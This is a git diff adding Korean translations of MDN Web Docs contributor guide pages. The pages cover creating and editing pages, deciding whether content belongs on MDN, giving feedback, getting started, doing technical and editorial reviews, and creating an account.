자세한 설명을 추가하기 위해 자료를 첨부하고 싶다면, 페이지 하단에서 첨부할 수 있습니다. 

+ +

개시, 버리기 또는 개시하고 계속 편집

+ +

편집을 완료하고, 미리보기 한 결과에도 만족했다면, 페이지 제목의 오른쪽이나 페이지 하단에 있는 녹색의 "변경 사항 저장"을 클릭하여 작업한 결과와 답글을 저장할 수 있습니다. 마음이 바뀌었다면, 페이지 제목의 오른쪽에 있는 붉은색의 "변경 파기"를 클릭하여 그 동안 작업한 것을 버릴 수 있습니다.

+ +

리비전 답글에서 답글을 달고 엔터키를 누르는 것은 "저장하고 계속 수정"하는 것을 클릭하는 것과 같습니다.

+ +
+

변경내용을 저장하려 할 때, 밴경내용이 실제 MDN에는 적절한 내용인데 유효하지 않다는 이유로 거절된다면, 작성팀에 콘텐츠가 게시되게 도와 달라는메일을 보내야만 합니다. 

+
+ +

새로운 페이지 생성하기

+ +

만약 당신이 어디에 새로운 글을 써야할지 모른다고해도 , 걱정하지마세요! 어디든 적으세요 그러면 우리가 그 문서를 찾고 있어야 할 장소로 옴기고 새로 쓴 글이 해당 문서에 적합하다면 , 존재하는 문서에 합칠 거에요. 당신은 또한 완벽하게 해야한다는 것에 대한 걱정을 할 필요가 없어요. 우리는 도움을 주는 행복한 요정들을 가지고 있고  요정들은 당신의 글을 깔끔하고 아주 부드럽게 만드는 것을 도와 줄 것 입니다.

+ +

새로운 페이지를 만드는 몇 가지 방법이 있습니다:

+ + + +

페이지 생성 권한  얻기

+ +

보안의 이유로, 새롭게 생성된 계정은 새로운 페이지를 생성할 수 있는 능력이 없습니다. 페이지 생성을 하고 싶다면, 페이지 생성 방법을 안내하는 페이지를 보게 될 것입니다. 두가지 선택이 있습니다.

+ + + +
+
+ +

"누락된 페이지" 링크

+ +

대부분의 위키가 그러하듯,  MDN에서도 아직 존재하지 않는 페이지로 링크를 연결하는 것이 가능합니다.  예를 들어, 작성자가 어떤 API의  개별 항목에 대한 페이지를 생성하기 전에, 항목의 모든 리스트를 생성할 수 있습니다. MDN에서 존재하지 않는 페이지로 링크를 연결하면 통상 빨간색으로 표시됩니다.

+ +

"누락된 페이지" 링크로 페이지를 생성하기 위해서는:

+ +
    +
  1. MDN에 로그인 합니다. (로그인 하지 않고, "누락된 페이지" 링크를 클릭하면 404(페이지 없음) 에러가 발생합니다.)
  2. +
  3. "누락된 페이지" 링크를 클릭합니다. MDN 편집기 UI가 열리고,  누락된 페이지를 생성할 수 있는 준비가 됩니다.
  4. +
  5. 페이지의 내용을 작성하고, 저장합니다.
  6. +
+ +

링크가 없는 새로운 페이지

+ +

다른 페이지의 링크를 걸지 않은  새로운 페이지를 만들기 위해서는,  브라우저의 URL  항목에 고유한 페이지 이름을 입력합니다.  예를 들면,  아래와 같이 입력한다면..

+ +
https://developer.mozilla.org/en-US/docs/FooBar
+ +

MDN은 제목이 "FooBar"로 된 새로운 페이지가 생성하고,  편집기가 실행되어 새로운 페이지에 내용을 추가할 수 있게 해줍니다.  편집기 모드를 이용하는 방법에 대한 내용은  이 글의 이미 존재하는 페이지 편집하기 섹션을 참고하세요.

+ +

이미 존재하는 페이지의 하위 페이지

+ +

페이지의 계층 구조에서 이미 존재하는 페이지 하위로 페이지를 생성하고 싶다면:

+ +
    +
  1. "부모" 페이지에서, Advanced 메뉴(툴바의 기어 아이콘)를 클릭하고, New sub-page를 클릭합니다. 새로운 문서를 생성하기 위한 편집기 화면이 열립니다.
  2. +
  3. Title 항목에 문서의 제목을 입력합니다.
  4. +
  5. 필요하다면 Slug 항목을 수정합니다.  예를 들어,  제목이 너무 길어서 단축 URL을  입력할 수 있습니다. 이 항목은 에디터에서 제목의 공백을 언더스코어로 연결하여 자동적으로 채워줍니다.  이 경우,  문서의 URL  중 가장 마지막 부분만 수정할 수 있습니다.
  6. +
  7. TOC 항목에서,  페이지의 목차에 자동적으로 노출되기 원하는 헤드라인을 선택하거나, 페이지에서 필요가 없다면 "목차 없음(No table of contents)"을 선택합니다.
  8. +
  9. 편집 패널에서 페이지의  내용을 작성하고 변경사항을 저장합니다.  편집 모드 사용에 대한 방법은  이 글의 이미 존재하는 페이지 편집하기  섹션을 참고하세요.
  10. +
+ +

이미 존재하는 페이지 복제

+ +

새로운 페이지를 위해 사용하고자 하는 페이지의 포멧이 이미 존재한다면,  페이지를 '복제'하여 내용을 수정할 수 있습니다.

+ +
    +
  1. 복제하려는 원래 페이지에서,  Advanced  메뉴(툴바의 기어 아이콘)을 클릭하고,  이 페이지 복제하기(Clone this page)를 클릭합니다. 새로운 문서를 생성하기 위한 편집기 화면이 열립니다.
  2. +
  3. 페이지의 타이틀(Title)을 새로운 내용에 맞게 적절하게 바꿉니다. Slug 항목은  타이틀(Title) 항목을 바꾸면 자동적으로 반영됩니다.
  4. +
  5. 필요하다면, 문서의 계층구조의 다른 부분에 새로운 문서를 넣기 위해 Slug 항목의 경로 부분도 변경합니다. (대부분의 경우, 복제된 페이지가 원래 페이지와 유사한 내용을  가지고 있고, 따라서 위치도 비슷하기 때문에  이 과정은 필요하지 않습니다.)
  6. +
  7. TOC 항목에서,  페이지의 목자에 자동적으로 노출되기 원하는 헤드라인을 선택하거나,  목차를 가지고 있지 않다면 "목차 없음(No table of contenst)"을 선택합니다.
  8. +
  9. 편집 패널에서 페이지의  내용을 작성하고,  변경사항을 저장합니다. 편집 모드 사용에 대한 방법은  이 글의 이미 존재하는 페이지 편집하기  섹션을 참고하세요.
  10. +
+ +

이미 존재하는 페이지의 링크

+ +

이 방법은 다소 복합적입니다.  다른 페이지에 링크를 만들고,  새로운 페이지를 만들기 위해  삽입한 링크를 클릭합니다.

+ +
    +
  1. 이미 존재하는 페이지의 텍스트 안에  넣고자 하는 새로운 페이지의 이름을 입력합니다.
  2. +
  3. 이름을 선택하고,  편집기의 툴바에서 링크 아이콘 클릭(click the Link icon ())을 클릭합니다. "Update Link" 다이얼로그가 열리고,  "Link To" 항목에 선택된 텍스트로 채워집니다.
  4. +
  5. 기본적으로, URL 항목의 시작  부분은  "/en-US/docs/"가 삽입됩니다.  "/en-US/docs/"  다음에 페이지의 이름을 입력하세요. (페이지 이름은 링크 텍스트와 동일하지 않아도 됩니다.)
  6. +
  7. 링크를 생성하고 삽입하기 위해 OK를 클릭합니다.
  8. +
+ +

페이지가 존재하지 않는다면,  링크는 붉은색으로 보여집니다. 페이지가 존재한다면 링크는 파란색으로 보여집니다. 새로운 페이지를 만들고 싶은데 원하는 페이지 제목이 이미 존재한다면, 먼저 해당 페이지에 있는 내용을  추가 편집하거나 좀 더 개선할 부분은 없는지 확인하십시오. 아니면,  생성하고자 하는 페이지에 대한 다른 제목을 고민해보고 링크를 만들어 보세요. 페이지 이름에 대한 안내는 페이지 네이밍 가이드를 참고하세요.

+ +

새로운 페이지에 내용을 추가하기 위해, 저장하고 편집기를 닫은 후에 이제 막 추가된 붉은색 링크를 클릭합니다. 편집 모드에 새로운 페이지가 열리고,  작성을 할 수 있습니다.  편집 모드 사용에 대한 방법은  이 글의 이미 존재하는 페이지 편집하기 섹션을 참고하세요.

+ +

페이지 콘텐츠 새로고침하기

+ +

MDN의 KumaScript 매크로와 페이지의 콘텐츠를 다른 페이지로 넣을 수 있는 트랜스클루젼(transclusion)의 지원은 성능 향상을 위해  생성된 페이지의 캐시의 필요에 의해 종종 방해될 수 있다. 페이지는 그 소스로부터 만들어지고, 이후에 있을 요청을 위해 산출물을 캐시로 저장해둔다. 그  때부터  어떤 매크로(템플릿),  페이지의 Page 매트로를 이용하는 트랜스클루젼도 매크로나 매크로의 산출물,  혹은 삽입되어 추가된 원래 자료의 변경에도 영향이 없을 것이다.

+ + + +

함께 보기

+ + diff --git a/files/ko/mdn/contribute/does_this_belong/index.html b/files/ko/mdn/contribute/does_this_belong/index.html new file mode 100644 index 0000000000..46f6395a52 --- /dev/null +++ b/files/ko/mdn/contribute/does_this_belong/index.html @@ -0,0 +1,139 @@ +--- +title: 이건 MDN에 있나요? +slug: MDN/Contribute/Does_this_belong +translation_of: MDN/Guidelines/Does_this_belong_on_MDN +--- +
{{MDNSidebar}}
{{IncludeSubnav("/ko/docs/MDN")}}
+ +

무엇인가를 문서로 남겨두겠다는 생각을 하기 시작했다면,  그 문서를 어디에 둘지도 고민해보았을 겁니다. 문서가 위치할 수 있는 몇 가지 장소가 있고, MDN이 웹에서 가장 큰 문서 저장소 중 하나이지만 유일한 옵션은 아닙니다. 또한 소스 코드에 문서를 보관해둘 수도 있고, Mozilla 위키나 git 저장소의 README 파일에 저장해 두어도 좋습니다. 이 글에서는 어느 방법이 여러분들의 문서와 어울릴지를 판단하는데 도움이 되기 위해서 쓰였습니다.

+ +

MDN에는 뭐가 있죠?

+ +

우리는 MDN에 정말 다양한 주제를 다룹니다. 하지만 완전히 MDN에 있어서는 안될 몇 가지도 있습니다. 이 섹션은 여러분의 문서가 MDN에 있어도 괜찮은지 판단할 수 있도록 도와주겠습니다.

+ +

MDN에서 다루는 것

+ +

우리는 MDN에서 정말 많은 내용을 다루고 있습니다. 일반적으로 완전히 제작되었거나 배포 중인 Mozilla 제품이나, 웹에 공개된 열린 기술이라면, MDN에 문서로 남겨둡니다.

+ +

우리들이 다루고 있는 내용 몇가지를 맛보기로 보여드리겠습니다. 전체 리스트는 아니지만 몇가지 아이디어는 줄 수 있을 겁니다.

+ + + +
+

참고하세요: 우리는 Mozilla 기술이 아니더라도 Web에 공개되어 있는 한 다룰 수 있다는 점이 중요합니다. 가령, 우리는 Webkit 전용 CSS 프로퍼티를 설명해놓은 문서도 있습니다.

+
+ +

우리가 다루지 않는 것

+ +

MDN에 문서로 남겨져서는 안되는 명백한 것인지 아닌지에 대해 스스로 질문해볼 수 있습니다.

+ + + +

저 질문 중 하나라도 "예"라고 답변할 수 있다면, MDN에 있어서는 안될 문서입니다. 저 질문 모두에 "아니요"라고 대답할 수 있다면, MDN에 문서로 보관할지 진지하게 고민할 때가 되었다는 겁니다!

+ +

MDN에 문서로 남겨두면 좋은 점

+ +

MDN에 문서로 남겨두면 좋은 점이 굉장히 많답니다.

+ +

글을 쓰는 사람들이 굉장히 많습니다

+ +

MDN 공동체는 굉장히 큽니다. 정말 큽니다. 큰 것들을 작게 보이게 만들 정도로 큽니다. 농담이 아니라, 우리는 굉장히 많은 사람들과 MDN에 있는 자료를 만들어내며 관리하고 있습니다. 전세계 모든 땅(인정할게요. 남극까지는 잘 모르겠어요.)의 작가, 편집자들과 함께하고 있기 때문에, 글을 쓰려는 사람들은 무조건 득 보는 거에요.

+ + + +

Do you want your development team to be entirely responsible for the production of documentation? That's likely if your documentation is maintained elsewhere.

+ +

유지보수

+ +

Because of the sheer number of contributors, there's usually someone on hand to watch for problems with your content: from spam control to copy-editing, things can happen around the clock. Here's just a taste of what our team can do:

+ +
+
스팸 제거
+
스팸이 발생하면 우리들이 처리합니다.
+
편집
+
여러분 생각보다 필력이 달려도 걱정하실 것 없습니다. 여러분이 쓴 글을 다른 사람들이 읽을 수 있도록 해주겠습니다.
+
스타일의 일관성
+
여러분이 작성한 문서 하나에서만 지켜지는 일관성이 아니라, 다른 문서와 함께 있을 때에도 일관적인 스타일을 가지고 있을지 봐주겠습니다.
+
컨텐츠 관리
+
Our team will help ensure that the documentation is cross-linked with other relevant materials, that articles are put in the right places, and that menus and other infrastructure is built to make it easy to follow and understand.
+
+ +

다른 곳에 문서로 남겨두는 경우

+ +

MDN 말고 다른 곳에다가 여러분이 만든 작업물을 문서로 남겨둘 이유도 없는 건 아닙니다. 그런 이유에 대해서 몇가지 살펴보도록 하고, 각각 장단점을 찾아보도록 할게요.

+ +

계획이나 진행 상황

+ +

간단합니다. 계획, 진행 상황, 요청에 대한 문서는 MDN에 남기면 안됩니다.

+ +

Github에 올라온 프로젝트

+ +

Mozilla의 몇몇 프로젝트는 Github에 올라와 있습니다. 또, Github에는 문서를 보관하기 위해 자기네들만의 위키 비스무리한 시스템을 가지고 있어요. 몇몇 팀은 거기에다가 문서를 남겨두기를 더 좋아합니다. 여러분만의 문서를 만들어갈 생각이라면 아무래도 그쪽이 더 편하고 좋겠죠. 하지만 몇가지 사실을 기억하세요.

+ + + +

물론 이런 점들이 여러분들에게 별로 문제가 되지 않거나 문제가 되더라도 딱히 불편한 점이 없을 수도 있습니다. 몇몇 팀은 문서로 남기겠다는 필요성이 별로 없어서 코드 안에서만 작업하고 문서를 남겨두기도 합니다.

+ +

소스 안에 문서를 남겨두고 싶은 경우

+ +

몇몇 팀은 소스 저장소에다가 자신들의 문서를 저장하는 걸 더 선호하기도 합니다. 내부 프로젝트나 라이브러리 프로젝트에서는 꽤나 흔한 일이긴 한데요. 코드를 쓰듯이 자신들의 기술을 문서로 남길 수 있다는 점에서 이점이 있기는 합니다. 하지만 그만큼 단점도 있지요.

+ + + +

여전히 몇몇 프로젝트에서 이런 방법을 사용할 수 없는 건 아닙니다. (오히려 좋은 방법일 수도 있습니다.) 작은 프로젝트나 별로 관심을 얻을 생각을 하지 않는 프로젝트에는 특히 그렇죠.

+ +

나중에는

+ +

It's worth mentioning that someday we intend to make it possible to present off-site content as if it were part of MDN, and that we hope to one day have tools to actually import content from other sites onto MDN. However, there's no timeline in place for making this happen, and even once it does, it will not be as effective as building the documentation directly on MDN.

diff --git a/files/ko/mdn/contribute/feedback/index.html b/files/ko/mdn/contribute/feedback/index.html new file mode 100644 index 0000000000..321efa3330 --- /dev/null +++ b/files/ko/mdn/contribute/feedback/index.html @@ -0,0 +1,74 @@ +--- +title: MDN에 피드백을 보내주세요! +slug: MDN/Contribute/Feedback +tags: + - MDN + - MDN 메타 + - 가이드 + - 문서 +translation_of: MDN/Contribute/Feedback +--- +
{{MDNSidebar}}
+ +
{{IncludeSubnav("/ko/docs/MDN")}}
+ +

Mozilla 개발자 네트워크에 오신것을 환영합니다!  만일 당신이 MDN을 사용하면서 발견한 문제점들이나 바라는 점들을 제안하고 싶다면 이곳은 당신에게 어울리는 장소입니다. 당신이 피드백을 제공함으로써 당신의 Mozilla 커뮤니티에서의 힘은 더 커질 것이고 우리는 당신의 관심에 감사드릴 것입니다.

+ +

당신에게는 당신의 통찰력을 제공하기 위한 몇가지 선택사항들이 있으며 이 문서는 당신에게 도움을 줄 것입니다.

+ +

자료 업데이트하기

+ +

당신이 문서에서 문제점을 찾았다면, 그냥 고치면 됩니다. 

+ +
    +
  1. Github을 이용해서 계정을 만들고
  2. +
  3. 원하는 페이지에서 파란색 편집 버튼을 클릭해서 에디터를 엽니다.
  4. +
  5. 변경이 끝나면 게시 버튼을 클릭합니다. 
  6. +
+ +

문서는 모두 위키 기반이며 자원봉사자들과 스탭들이 관리하므로 문법적인 것에 너무 부담가질 필요 없습니다. 실수가 있다면 우리가 고칠 겁니다. 걱정하지 마세요.

+ +

MDN 문서작성에 도움을 주는 방법을 알고싶다면 :

+ + + +

대화에 참여하기

+ +

우리랑 대화하세요! MDN 콘텐츠에 일하는 다른 사람들과 연락하는 몇가지 방법이 여기 있습니다.

+ +

채팅(실시간)

+ +

우리는 MDN과 콘텐츠에 대한 의견을 IRC를 통해서 나눕니다. 당신도 참여하세요! 주제별로 몇가지 채널이 있습니다. 

+ +
+
MDN 사이트 콘텐츠 (#mdn)
+
사이트 이용법, 콘텐츠 읽는 법, 기여하는 방법 등에 대한 MDN의 일반적인 논의를 합니다. 콘텐츠에 대한 질문이나 덧붙일 말이 있을 때, 기고문을 작성하거나, 그냥 작성팀과 이야기하고 싶을 때 이곳을 이용합니다. 
+
문서 사이트 개발 (#mdndev)
+
{{IRCLink("mdndev")}} 채널은 MDN 사이드가 동작하는 플랫폼 개발작업에 대해 이야기하는 곳입니다. 사이트 동작에 문제를 겪었거나 신규 기능에 대한 아이디어가 있다면 이곳을 찾으세요. 
+
+ +

토론 (비동기)

+ +

장기 토론은 MDN 토론 포럼 을 사용합니다.  이메일(mdn@mozilla-community.org)을 통해서 포럼에 게시물을 올릴 수 있습니다. 포럼에 합류하면 이메일로 토론 알림을 받을건지 선택할 수 있습니다. 

+ +

문제 보고하기

+ +

문서 오류

+ +

당신이 문서 오류를 발견했는데 수정할 수 없다면, 신고하면 됩니다! 모든 종류의 문서 오류가 해당됩니다. 예를 들면

+ + + +

위에서도 말한 것 처럼, 우리는 당신이 직접 기여하기를 원합니다. 하지만 신고만해도 괜찮습니다. 

+ +

사이트 오류

+ +

MDN 사이트의 문제점을 겪었거나, 신규기능의 아이디어가 있다면 MDN 개발팀으로 이슈 티켓을 끊어주세요

diff --git a/files/ko/mdn/contribute/getting_started/index.html b/files/ko/mdn/contribute/getting_started/index.html new file mode 100644 index 0000000000..23e4774d1d --- /dev/null +++ b/files/ko/mdn/contribute/getting_started/index.html @@ -0,0 +1,111 @@ +--- +title: MDN 시작하기 +slug: MDN/Contribute/Getting_started +tags: + - MDN 메타 + - 가이드 + - 공헌하기 + - 기여하기 + - 도움말 + - 시작하기 + - 초보자 +translation_of: MDN/Contribute/Getting_started +--- +
{{MDNSidebar}}
+ +
{{IncludeSubnav("/ko/docs/MDN")}}
+ +

우리는 어떤 브랜드의 플랫폼이나 브라우저에 상관 없이 더 나은 웹을 위한 리소스를 만드는 오픈 커뮤니티입니다. 누구나 참여할 수 있고, 여러분의 참여는 우리에게 더욱 큰 힘이 됩니다. 우리는 가장 멋진 것들을 제공하기 위해 계속해서 웹의 혁신을 이끌어 낼 것입니다. 여러분들과 함께 말이죠.

+ +

MDN의 모든 것, 이를테면 문서, 데모, 사이트 등은 모두 열린 커뮤니티의 개발자들에 의해 만들어 집니다. 지금 바로 참여하세요!

+ +

MDN에 참여하기 3단계

+ +

MDN은 누구나 문서를 추가하고 수정할 수 있는 위키입니다. 기술에 대한 방대한 지식을 알아야 한다거나, 프로그래머가 아니더라도 됩니다. 단순히 교정이나 문자를 수정하는 일부터 API 문서를 작성하는 일까지 우리가 할 수 있는 일이 풍부하게 준비되어 있습니다.

+ +

기여하기는 쉽고, 안전합니다. 만약 실수를 하더라도, 쉽게 고칠 수 있습니다. 만약 문법을 잘 몰라서 문장이 틀리더라도 걱정하지 마세요. 우리에겐 MDN에 있는 콘텐츠를 가능한 한 좋게 만드는 팀이 있습니다. 우리에게 부족한 점이 있더라도 누군가 우리의 부족한 점을 채워 줄 것입니다. 우리는 우리가 알고 있는 것과, 우리가 잘하는 것에 집중하면 됩니다.

+ +

Step 1: MDN 계정 만들기

+ +

MDN에 참여하기 위해서는 반드시 MDN 계정을 생성해야합니다. 계정을 만드는 방법에서 자세한 내용을 확인하세요. 참고로 MDN 계정을 만들려면 Github 계정이 필요합니다. 인증에 Github을 사용하고 있습니다. 

+ +

신규 문서를 만들고 싶다면 {{SectionOnPage("/ko/docs/MDN/Contribute/Howto/Create_and_edit_pages", "문서 생성 권한 얻기")}}를 참고하세요. 문서를 만드는 권한에 대한 중요 정보가 있습니다. 보안상의 이유로 신규 계정은 문서를 만들 수 없습니다. 

+ +

Step 2: 할 일 정하기

+ +

로그인 하셨다면, 아래의 리스트에서 다양한 작업의 종류의 설명을 읽어보시고 가장 마음에 드시는 것을 고르세요. 작업을 선택하는데 있어 어떠한 제약도 없습니다.

+ +

Step 3: 작업하기

+ +

어떤 일을 할지 결정했다면 특정 페이지나 코드 등 마음에 드는 것을 선택해서 바로 시작하세요!

+ +

완벽하지 않아도 괜찮습니다. 오류가 있다면 다른 MDN 공헌자들이 고칠 것입니다. 궁금한 점은 커뮤니티 페이지의 메일링 리스트나 채팅 채널에서 답을 얻을 수도 있습니다.

+ +
+

참고: 수정된 내용을 "실제로" 반영하기 위함이 아닌, 실험을 하고 싶다면 "샌드박스" 페이지를 이용하세요. 이 페이지는 반드시 필요한 내용이 아니라면 수정하지 마세요. 단순히 어떤 일이 일어나는지 보려고 불필요한 변경을 하는 것은 다른 공헌자들에게 혼란을 줄 수 있습니다.

+
+ +

작업을 모두 마쳤다면, 다른 작업을 자유롭게 고르거나 아래의 MDN에서 할 수 있는 다른 일을 살펴보세요.

+ +

할 수 있는 일의 종류

+ +

당신의 능력과 관심에 따라 MDN에 기여할 수 있는 다양한 방법들이 있습니다. 일부 작업들은 어렵게 느껴질 수도 있지만, 5분도 안되는 작은 시간으로 간단히 끝낼 수 있는 작업들이 많이 있습니다! 작업에 대한 간단한 설명을 통해 작업 유형 별로 대략적인 소요 시간을 알 수 있을 것입니다.

+ +

1번: 글 쓰는게 좋아요

+ +

문서를 검토하거나 수정하고 올바른 태그를 적용할 수 있습니다.

+ + + +
참고: 기존 글을 수정하거나 새로운 내용을 작성하고 있다면 스타일 가이드를 준수하고 있는지 확인하세요. 문서들의 일관성을 유지하기 위함입니다.
+ +

2번: 코드 쓰는게 좋아요

+ +

샘플 코드를 만들어주세요!  아니면 Kuma 사이트 플랫폼을 구축이나 브라우저 호환성 데이터 구축을 도와주세요. 

+ + + +

3번: 글도 코드도 쓰는거라면 뭐든 좋아요

+ +

새로운 글을 작성하거나, 기술적 정확성을 검토하기 또는 문서를 각색하기와 같은 기술적이고 언어적 스킬이 모두 요구되는 작업들이 있습니다.

+ + + +

4번: 우리말로 MDN을 보고 싶어요

+ +

MDN의 모든 현지화 및 번역 작업들은 우리의 멋진 자원 커뮤니티가 수고해 주셨습니다.

+ + + +

5번: 잘못된 점은 찾았는데, 어떻게 고쳐야 할 지 모르겠어요

+ +

문서 버그 신고를 작성해서 문제를 보고할 수 있습니다. (5분)

+ +

MDN에서 할 수 있는 다른 일

+ + diff --git a/files/ko/mdn/contribute/howto/do_a_technical_review/index.html b/files/ko/mdn/contribute/howto/do_a_technical_review/index.html new file mode 100644 index 0000000000..9b648a8d0c --- /dev/null +++ b/files/ko/mdn/contribute/howto/do_a_technical_review/index.html @@ -0,0 +1,41 @@ +--- +title: 기술 리뷰를 하는 방법 +slug: MDN/Contribute/Howto/Do_a_technical_review +translation_of: MDN/Contribute/Howto/Do_a_technical_review +--- +
{{MDNSidebar}}

기술 리뷰는 기술적 정확성과 글의 완결성을 검토하는 것, 필요하다면 수정하는 것으로 이루어집니다. 글의 작성자가 다른 사람이 글의 기술적 내용을 확인하는 것을 바란다면, 작성자는 편집을 하는동안 "Technical review" 체크박스에 체크합니다. 작성자는 대개 기술 리뷰를 위해 특정한 엔지니어와 접촉하지만, 해당 주제에 대한 전문가라면 누구라도 가능합니다.

+

이 글은 기술 리뷰를 어떻게 하는지에 대해 기술하고, 그에 따라서 MDN의 컨텐츠들이 정확하도록 도움을 줍니다.

+ + + + + + + + + + + + + + + +
어떤 부분에 이 일이 필요하나요?technical review가 필요하다고 표시된 특정 글
이 일을 하기 위해 무엇을 알아야 하나요? +
    +
  • 리뷰를 하고 있는 글의 주제에 대한 전문 지식.
  • +
  • MDN의 위키 글을 편집할 수 있는 능력.
  • +
+
어떤 단계를 거쳐야 하나요? +
    +
  1. technical reviews가 필요한 페이지 목록으로 갑니다. 기술 리뷰가 요청된 모든 페이지들이 보여집니다.
  2. +
  3. 친숙한 주제를 가진 페이지를 고르세요.
  4. +
  5. 링크를 클릭하여서 페이지를 부르세요.
  6. +
  7. 페이지가 불려지면, 최상단 근처의 EDIT 버튼을 클릭하세요; MDN 에디터로 갑니다. 처음에 고른 페이지가 당신한테 맞지 않는다면 다른 페이지로 바꾸는 것을 주저하지 마세요.
  8. +
  9. 글을 읽으면서 틀린 기술 정보를 고치고 빠진 중요한 정보를 추가하세요.
  10. +
  11. 글 아래에 당신이 한 일에 대해서 기술하는 다음과 같은 코멘트를 입력하세요, '기술 리뷰 완료.' 정보를 수정한다면, 그것을 코멘트에 포함시키세요, 예를 들어 '기술 리뷰: fixed parameter descriptions.'
  12. +
  13. SAVE CHANGES 버튼을 클릭하세요 .
  14. +
  15. 에디터를 닫고 난 후 올바른 글이 화면에 뜨고 나면, 측면의 Technical 엔트리를 체크하여 (다음의 리뷰가 요청되었습니다 아래) SUBMIT REVIEW 버튼을 클릭하세요.
  16. +
  17. 끝났습니다!
  18. +
+
+

 

diff --git a/files/ko/mdn/contribute/howto/do_an_editorial_review/index.html b/files/ko/mdn/contribute/howto/do_an_editorial_review/index.html new file mode 100644 index 0000000000..13b2f0d4a1 --- /dev/null +++ b/files/ko/mdn/contribute/howto/do_an_editorial_review/index.html @@ -0,0 +1,48 @@ +--- +title: 편집 검토를 하는 방법 +slug: MDN/Contribute/Howto/Do_an_editorial_review +translation_of: MDN/Contribute/Howto/Do_an_editorial_review +--- +
{{MDNSidebar}}
{{IncludeSubnav("/ko-KR/docs/MDN")}}
+ +

편집자 검토는 글의 오타와 맞춤법, 문법, 단어의 용법, 또는 원문의 오류를 고치는 일입니다. 모든 공헌자분들은 자신의 지식을 사용해 유용하고 가치있는 글을 만드는 데 기여하고 있습니다만, 이분들이 모두 어학전문가는 아닙니다. 따라서 언어적인 측면에서 교열과 교정이 종종 필요해집니다. 이 교열과 교정 작업이 바로 편집자 검토입니다.

+ +

이 글은 어떻게 편집자 검토를 수행하는지, 그리하여 MDN 컨텐츠들의 정확도를 높일 수 있게 되는 지에 대해 설명합니다.

+ +
+
편집자 검토는 어떤 일입니까?
+
편집자 검토가 필요하다고 표시된 글들을 교열하고 교정하는 것.
+
어떤 글에서 편집자 검토가 필요합니까?
+
편집자 검토가 필요하다고 표시된 특별한 글들.
+
편집자 검토를 하기 위해서 알아야 하는 것이 있습니까?
+
괜찮은 문법과 맞춤법 실력이 필요합니다. 예를 들어 편집 검토는 문법과 철자에 대한 확인을 해야합니다.
+
편집자 검토는 어떤 단계를 거칩니까?
+
+
    +
  1. 검토할 글을 선택합니다: +
      +
    1. 편집자 검토가 필요한 글 목록으로 이동합니다. 이곳에는 편집자 검토가 필요한 페이지들이 나열되어 있습니다.
    2. +
    3. 경로가 Template:으로 시작하지 않는 한국어 제목을 가진 페이지를 선택합니다.(Template:페이지는 MDN 매크로코드를 포함하고 있습니다)
    4. +
    5. 글 링크를 클릭해서 페이지를 불러옵니다.
    6. +
    +
  2. +
  3. 글의 오탈자, 철자, 문법 및 어법상의 오류에 주의를 기울이며 읽습니다. 만일 선택한 글이 능력에 부친다고 생각되면, 다른 글을 새로 선택하십시오.
  4. +
  5. 만일 살펴본 글에 오류가 없다면, 페이지 왼쪽 사이드바에서 "quick review" 상자를 찾아보십시오:
    + Screenshot of Korean version of the editorial review request sidebar box
  6. +
  7. 편집 상자의 선택을 해제하고, 저장 버튼을 클릭합니다.
  8. +
  9. 오류를 발견했다면, 수정을 해야합니다: +
      +
    1. 페이지 상단의 편집 버튼을 클릭합니다. MDN editor가 열립니다.
    2. +
    3. 발견한 오탈자, 문법, 어법상의 오류를 수정 합니다. 모든 오류를 한번에 다 고치지 않아도 괜찮습니다만, 남은 오류가 없다는 확신을 갖기 어렵다면 편집자 검토 요청 상태를 유지해주십시오.
    4. +
    5. 글 하단의 리비전 답글 항목을 입력합니다; '편집자 검토: 오타, 문법, 맞춤법 수정됨.'같은 식으로 적으시면 됩니다. 이 리비전 답글의 내용으로 다른 공헌자들이나 사이트 편집자들이 어떤 것이 수정되었는지, 왜 수정했는 지에 대해 알 수 있습니다.
    6. +
    7. 검토가 필요한가요? 에서 편집 체크상자를 해제해주십시오. 이 내용은 리비전 답글 항목의 바로 위에 있습니다.
    8. +
    9. 게시 버튼을 클릭해주세요
    10. +
    +
  10. +
+ +
+

수정 내용은 저장 직후에 바로 보이지 않을 수 있습니다. 페이지 내용이 처리되고 저장되기 까지는 약간의 시간지연이 있을 수 있습니다.

+
+
+
diff --git a/files/ko/mdn/contribute/howto/index.html b/files/ko/mdn/contribute/howto/index.html new file mode 100644 index 0000000000..41b5fe582f --- /dev/null +++ b/files/ko/mdn/contribute/howto/index.html @@ -0,0 +1,14 @@ +--- +title: MDN web docs 사용 방법 +slug: MDN/Contribute/Howto +tags: + - 가이드 + - 도움말 + - 시작하기 +translation_of: MDN/Contribute/Howto +--- +
{{MDNSidebar}}
{{IncludeSubnav("/ko/docs/MDN")}}
+ +

이 페이지에서는 여러분이 MDN에 공헌하기 위한 목표를 달성하는 데에 도움을 줄 단계별 가이드를 제공합니다.

+ +

{{LandingPageListSubpages}}

diff --git "a/files/ko/mdn/contribute/howto/mdn_\352\263\204\354\240\225_\354\203\235\354\204\261\355\225\230\352\270\260/index.html" "b/files/ko/mdn/contribute/howto/mdn_\352\263\204\354\240\225_\354\203\235\354\204\261\355\225\230\352\270\260/index.html" new file mode 100644 index 0000000000..b3b84a92b1 --- /dev/null +++ "b/files/ko/mdn/contribute/howto/mdn_\352\263\204\354\240\225_\354\203\235\354\204\261\355\225\230\352\270\260/index.html" @@ -0,0 +1,32 @@ +--- +title: MDN 계정 생성 +slug: MDN/Contribute/Howto/MDN_계정_생성하기 +tags: + - 가입 + - 계정 + - 시작하기 + - 인증 +translation_of: MDN/Contribute/Howto/Create_an_MDN_account +--- +
{{MDNSidebar}}

페이지를 수정하거나 데모에 기여하는 등 MDN의 컨텐츠를 변경하려면 MDN 프로필이 필요합니다. 단지 내용을 읽거나 검색하는 것에는 프로필이 필요없으니 걱정하지 마세요. 아래는 MDN 프로필을 설정하기 위한 가이드입니다.

+ +

MDN에 기여하기로 마음 먹었다면 여러분이 할 일은 다음과 같습니다. :

+ +
    +
  1. 모든 MDN 페이지의 최상단에는 "Sign in with"(또는 '로그인') 버튼이 있습니다. 마우스를 포인터를 올려 놓으면(모바일 디바이스에서는 탭) MDN에서 사용 가능한 인증 서비스 목록이 나타납니다.
  2. +
  3. 로그인 할 서비스를 선택하세요. Persona 가 아닌 인증 서비스를 선택했다면 여러분의 공개 프로필에 여러분이 어떤 인증 방법으로 인증했는지 표시됩니다.
  4. +
  5. 각 서비스별 인증 단계를 따르십시오.
  6. +
